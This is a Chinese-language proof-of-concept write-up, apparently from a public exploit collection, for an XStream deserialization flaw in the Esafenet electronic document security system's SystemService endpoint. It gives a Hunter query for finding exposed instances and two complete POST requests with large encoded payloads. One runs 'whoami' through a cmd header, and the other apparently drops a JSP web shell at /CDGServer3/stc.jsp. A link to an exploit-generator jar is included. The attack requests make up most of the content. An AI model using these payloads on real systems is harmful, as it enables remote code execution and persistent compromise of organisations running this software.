POC/wpoc/亿赛通/亿赛通电子文档安全管理系统旧版/亿赛通电子文档安全管理系统SystemService存在xstream反序列化漏洞.md

# 亿赛通电子文档安全管理系统SystemService存在xstream 反序列化漏洞

# 一、漏洞简介
  亿赛通文档安全管理系统是国内最早基于文件过滤驱动技术的文档加解密产品，保护范围涵盖终端电脑（Windows、Mac、Linux系统平台）、智能终端（Android、IOS）及各类应用系统（OA、知识管理、文档管理、项目管理、PDM等）。亿赛通电子文档安全管理系统SystemService存在xstream 反序列化漏洞

# 二、影响版本
+ 亿赛通电子文档安全管理系统

# 三、资产测绘
+ hunter`app.name="ESAFENET 亿赛通文档安全管理系统"`
+ 登录页面

![1693912211487-1ee3eb84-62a3-4c32-806a-6be32537dfb6.png](./img/Ee_yrEjypi5abc_7/1693912211487-1ee3eb84-62a3-4c32-806a-6be32537dfb6-850395.png)

# 四、漏洞复现
```java
POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Connection: close
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Content-Type: text/xml
Host: 
cmd: whoami
Content-Length: 14756

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHNIBEGOOFEFGAENOKBMPCBDELFJPAHICDPGANJALHFENMFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFMFLJNDMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAHKBCEDHFGLDIKIIIMEPHMIMCIGJJDCKIEODLKCKOLAKBFHIBHOPNAMPEIKHCMDPNMLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPANPLIBGDCCNMDNDNOIPOECCPELCEDPGCNJHEIOIFPJDKIFNJGHAHLHFNPICIJLHELMODMJIEGMMBNMMFBEJCDDDFOPAJOMBNKBDBGKKMLKCBBPFOOJCKFFIMLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHMNFHALJHOPGKLOPHLMELJFBIABENFKEHCLIKMFGHPPJFIBBANPIOFKEEBIFIBDIIAIKENFILIDPDELJDMOPFKBOHPGLIPMNCFJFDCJGKCFOAJMPIIBEOHJPPNHLOCINIECHMJJMCKHICOMIMLHJAOJIGIFLMINANOFADOGDLLHCEKPECHDFBGIPEPNJBJOGLHDLKFLBFPLPFAENMMIFOMMNCJGJJFPGFHOKMAGCEOCKMJJPPAFBNEAKOAMMEHPGCBAJCHDBGJANBBHGIBMPHAMCEHEFLBAGOKDPKIPPDFLJIADKKOJPEPIGAKPCGKBNFBPLLKLEGBPJJCDJFGHDMLPNJBGFMLGMCABONHBLHPKHKEGJIBPFKCLMBIKKOMINPAJEPFHANBIBKMPHKEODCBMMIGAEFCENBNKDONGNLBADGDLJBMJGKEMNJOMPHDOPALIGEPCEDDAHJMNMJBFLIPBODEDCDAPMNGCANOCPLLMJOCPMPJDMEAMEPELICJKJLODAJEILBOJNFAJOFNOGCHGOJEGMGCPNCDEECKPAIAOHCLJBBFDKKAIHOJEKDBOFMFOBEDLNGJNIAJPLGMHBLHODIKDLEPOINDPDDIGKOLGEOBFFPMOHLBEALFIGAKNDKEKEJMJLNGHNANLCGLPNLBBFNKNEKCGBJKJDABFNAGPDILHBAAIECKBLKEDIJIMPJOMFLHBMOBLEKNEHINHAKBOHICLGBBPIEJIKALMIJHKHFIDNICAEEFPGGPBCBFPOJDFFKAGKAEOOCPMGCCMHPCIKHCODDCNGDDNDLAIMAPEMPNECNFPIALJELGOIHECEKHBHOHNIFCBJBFAOKKDCMNHHINAFGNECFPOGHBNMPJOECCFOCHICANBDOCCELJCENBMIMBKCNJAEMBHLOJOGALHGLLOEBFGFJAOFJHEGNLCEBCHGLNFEEIDOKIJNDHDANFPGLEMHOIJHOOJGKLGHBFBMBPBKEFOAKAIAGDMBLDEKLFKADKHNPAKBNPDKFIOAMAKKEHFNDABEPGKBMFCDFFOCIPDDEBOBFONDJFAJIJBAMGNBMCMJODGEGKIMIOLLAKMKJJAOCEMOBDCODALCKGKKKIADHOFMLNDGJBEMLLJPJOKPAIDACMPCOKAGKLIIMDENPNMEIBBMIFHGJKLKGPNOBJGMMLDKFKALLFHFDGDBDBMPOPDBLDNMAALEMAHGINFECKFHKJHFOCDJNBEDNGJCNENGIDHBJOLHEPFLEPHOOGJKFEGFLEMLGKDOOKIMAJIBJKOLAKCHBJJFDIGEMPABDNJFGMDAGEDIOHJKOAEHPLIBOFLIMFIEFOOGDHDNLCKOKPEDKEEBPAHKFMKBNNBAMICPOPLNPIGLMPDLAFBIEPHPJBFLBDECCPFINEBGMPMECAICGFLMJEKEIKDOKJMOAJLFNHHEHEPDAMFLNPKCDPODPLMFFAMILMAFIDBDJJOKIJKGJACMOMEHDDCJJAAOAFJDCCEFHKMJNDJEOLOOIHCFIILOIGCOPDHENDDEODNJAJJFHNJIBJGJPFFKEDPBJAKIPHPKELOMHNFABNMIMODOGPBOFLLPBGAHCEOBBFJLKNAMKACHIOMMFLAPFJCHBIJAAEJELEFFEIMAMCACJBBGADJDJKKEHMGJCPCNIMKCPGHBPIFADBGGBPCIKNBGDCJJCPMABJINOGLAPAHGLJLADBJKFLNAAFKFOBIJKCFIDEKNFGFCHDPGLKFDKPPHPNCFIGAMHBNHMLJAHOKKFLNOCNDNPPJJHBBKHDIIENFAGAHOMFPNNBGDLDEHLBDOKEOAEFPPCIEPGIOAHDEEMIKDPHBMADGLNILDCIEKELEBBEOBKLCDLKLKLLKHDHBHGDDLHOHGPPANCDABBHHBDOOLEOAKBKDBPGLKFFFFOBLBHAPEELFFDEPOFFHIGOGDKMBIAMJNNOOFGCNHBCCCFKCAOFDDDCBPLMMHGBLEDOPNEHBOECJGFMFOEIEIFAHLCOOAOLBFFKHAHIEMAEOBBPMBJNDMJJDMNJEMBGMNEPCFODGCOCKJICOBEGAFJKFADJOFMGPILCDMBFLLLAHEKPBCDJEBMHDLBLDLLCIAGNJJBFHFOIPLNNOFAFNOMFPBPNFLPLFFNNBBNEPBHBKJEOHBJPMOHHEKFHGACPFPDAHPCAPPGPKBJBGGNIPLOHFPAPHLHCJJHNGNKOMDMIECKACEPHCFJJAIPLCEOFNLBAFGFLBLNBPAHBOOJOKHIBAJFEAEKBNHHODNJNMEONLHDIPPCJJAEKOOELNHPDPAEPPBILHLHELMDHGPJMI
```

![1704465942446-8888d388-070e-4fc5-b578-31729f3c0fa5.png](./img/Ee_yrEjypi5abc_7/1704465942446-8888d388-070e-4fc5-b578-31729f3c0fa5-763772.png)[CDGXStreamDeser.jar](https://www.yuque.com/attachments/yuque/0/2024/jar/1622799/1713621694456-7a7df27a-64ca-4263-a548-95e26a966195.jar)

![1704466100552-562404fe-f385-49fb-99f0-dc58c369894a.png](./img/Ee_yrEjypi5abc_7/1704466100552-562404fe-f385-49fb-99f0-dc58c369894a-122353.png)

```java
POST /CDGServer3/SystemService?command=GETSYSTEMINFO HTTP/1.1
Accept: */*
User-Agent: Mozilla/5.0
Connection: close
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8
Content-Type: text/xml
Host: 
Content-Length: 14756

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIODEGNCPIGDFMGMDPOMMEDIJNFKDCHHBFMFGBDOIOAHLOHNAMDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFAGLHIDHPJCHAEHFPHNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLLPGGKNNNFCAOBHCOEOHCBFOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOFLEKDKODMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPPNFFIJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPCKCKNJJJJANLFPKGLOINAIODAJNHAEDLBNONDJHPFELIJMNLMHEMBFGOHELCDBFHIFALDIIMBFEOHNHBOIOMLCJKCPHJPNDLPHDDCFJNMGKDMEINHIDLEGMOCNAFDAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBJNPCGLPKIEOLEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMMNKMBJDGIDJMMGEOEGJNJDNNEKFDMEAHMILDKIFBGKGEJCMGOFEKGJEMNAFLDGEEOBKOHADBAMHBMDJOGIFPMDKIILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHDGBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJIDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDPBDMBFEHAKBHEMNDFBBEDCAMMHNNGMDGLNJHJDAGPILNGBEDCDJBCJOAMOBIFLOFCFIJKDELPPFLFBOHHHCPOCOLGKHOCMKILNFPJNJNDKKBHFIBMPOAPPBHJGLMDNMELIJGAGMEDAAIAKBOACALHCOMMJMEPMHDMAMOJOJCAPGBMMDLDNECINFJNHDJCFMFJHINNOAHKEDGIGEDKMLJFHEALCPEMAAEIMNGMPMMLHNJCMJFHILCLMEGEDEKEFIPFPNPMEBOMNEFEENHAAJPHGLDELDFIIHECHJOBFPJOJHLMELOHIIONFLCNKKNLKDCHGPHAACCPFECIMGFKHOGIMDEFPEFDGOBMJMJNBIICCONJOIGOKNIMLHCOKALPCBKLOPJJDODFKAMBMPFBJAEJFONBJKJEBJIJNPMLFMHDEICIGDJBMGJKAPDEJIMGECNAKHNJIHNGCLGLJOBFBECNCAGHLFDHCCCLEEOELOPCNJBHLKLOOJEEFHLDJKBEPBLDDJMPDCFEFGMOKJLKNEFLPLFOJMAONELNOMHKCJKMELHDKKBGFJDNHHLFJGPLLINOCGBOHOJFBNMICJJAIBBEMOKENOIDIOLCMNPPDBKMMEIICBMNPCHBLOGGHPMNAFELCJPFJAGJMFKLHHPEFHNILEHJEGMPCKKACELLHGEBAFJFEBEGFDAGBNNFMEGMFNPHBMPALCFPAMJBNCOLDEKJOFGNGPOMODNJANPOPAHIBJPEHDHBLKOPJNGLIHCHONILIOBJFAOBMBAOPKKKDPGPEIBFMJNJCIBAJNKBJJDHDINEFPLOADFEJDNKNOCCHACNGLDCCNHMPLPDECKGNPHGMENKLIDPCNHHDDOGDBHPBOBMCLLFEADDOHNFHOBDMMPIJJAPHLNOHBJBLDGEMFPPNLFKBJLPFKBOHGAJGKIFKLIENLNKFIJBLKMPMAONDPMMLMLBKDMDEHNNFJIHEHACAFALGJEKBNOLPJJBOFOBNHADHOPFEPAEBOIANGLDNCIEDIBJKIEBNPBIBEAGHKHDCGOJFINLBMOMGEONNADMIBBDDKLOECOJKKKCODGIOPPLMKBLAEJKBELPJBICHBHAPGPFIHPHOHOCEKPMGDOGGHGLKEJOKLLOKBEFJEAAFGMNGBIEJPFFKELOCGLAPCFAPMKPOCKIOCFMJACHOFNBIGDOMHKFEGGEOKKPNAPKNOJAODCLMECCLBGEEHKEPBKBLDECNKAPCADCKAGMKMNGHLMPPKKAMCIECLGNFKCELDIJJEHPDFHELFIEBDCCGJFDMOBBIIBELMOMLBMPNABDLHINGECDPJNPHADFGKBGGDIJKIFDMBBCBEPNGOBICHICPEEIJEDHOEPCMMOLEBDPFNAPAAPAOKLEJDNCJJGCPMHLCJFDJMMEEIKIBMPDJJHKPNJAJMKDGEHMLKHOEKGHDMOPFOKKJMGIDDHHPKCBGLGPLLFMPAEKOOCGHKONEODICAKJPGNODMNLBFBKAHNHBDDPNMHOPLJOEEDHPGEJPGFBFGDFMALHEOGJODGOCKMAHFLBLPOLNOLHFPFNMPBCJGBHJCGPMNAFMJEJHGNPLONPLMCFMJIODDNLGLGFBONGJNKFOIGLLMINPABCNKMOHLMEMKHCGHEABKOFGANPKDICKCJEOHNIKNNLIKLBPJKDLFKKNLGINJOMCEPCNEHBIOFGJCILGDOHLCIMHAFPHNGFAHIOJEBMMKDOCAEBPOFJLCDMLLCDIJKLIEKFGGIDFFONPHGDJCFHGPGGIOLEJGDPIEFNGGJMPKIEAHLOGCOAJDMOKCNDPICFDILJLAMCLCHLBLJINBJNLGFCDIAJCNOCDNPHHACDLGBECEPBDEOIPNOAKLJIMKBJAPANFKNOKJBOGMINNCMOLFMGFFCDGPBAGDHJOIMHNPLDCKMEJGEMANOKDLPFBLGJKDBMBNLBOLCHHCPEOMBOJFMECMMJEBNPNOMNLLNLGBPNGAEHMDCFBMDMGPFPPGIKCCLAGEHFMCKODFDJGLNJEEJBDDIPMLEJDMOHBHJBFMNDLNEAANKMGLAGAJMPBIDJIKLBDBAFDNCOPDAHHOANIKFAENPBJHHKEKOLALMJMOLPAOKIMIEFEGIFIGMGKDBAMAPAKKNDFHKKBEEPNKBLJADFMONNHGKFPLDPDACPIPEJEMEIHFEAOALHGMPLOAINJNHCAGCJPFPDEBPEIDLEGFLFMFPCIMDBHCIDNKJALMKFLJOIBPIOGDHBDFOHBHLLEBHDFCLINHKNKIJGLFHGGKHJCNFCKKMJJJHFGPBPCJCLEAPPKLGGBJKALAFFJNPNIHLEMLOCMMICCAONNHGFDMBADMMGKNKLNEMEBHPJOFCJCGNKHGCELCDPPFNDPFMEOBJDGABEAAHNDCNIOAGPGEJKNMGACFMPIBBCFGJANKHJKMPCDKIPJDJKBGMLPGLJKBAOFAJHOPFKOFONJMAJEOJPEEPOEOJMBMAIIEKNOCCKNDLHJEJDDLOGMDMHFBCMIBJHNILHADHCFOALGKJMABFCLCJMBMHHABCLKCCAFDAFFDKCIJLPMDFGODMNAAPGGKCBIDAKCANGLLOLMNIBDNDEFPKLJBEKABHKMOGMBCAABEAHPEBGCCBFLCMGCBONJHGMNGIINNNEOIOPHDNGFLMCBLFDFLGPHNHOMGLDIAHILBEGEHAFGKHEAHPKBDMACGHMLAFDJMCPNAEMFLMOEJNCCAMENLKKLOHCNBICPGBALDODFNNOHBKEBNJAMKMPLGHNNCHPPPODONMGJDOOHOFBFGLBCOPLGHHHFANKKJCFCFHABEJBKJOEMOMCEMJKEDBMDPGGDPAPDNINEBFNMNOAHHDCPOIJALHJKPMAOEEEFIB
```

![1704466134305-cdd12d0e-c56e-43f4-b7c5-4c0ab6461190.png](./img/Ee_yrEjypi5abc_7/1704466134305-cdd12d0e-c56e-43f4-b7c5-4c0ab6461190-802984.png)

```java
/CDGServer3/stc.jsp
```

![1704466164173-6e8f908f-a555-4903-8ddf-818a72e8f11a.png](./img/Ee_yrEjypi5abc_7/1704466164173-6e8f908f-a555-4903-8ddf-818a72e8f11a-995129.png)



> 更新: 2024-04-20 22:01:34  
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/wg0flo918othfwbw>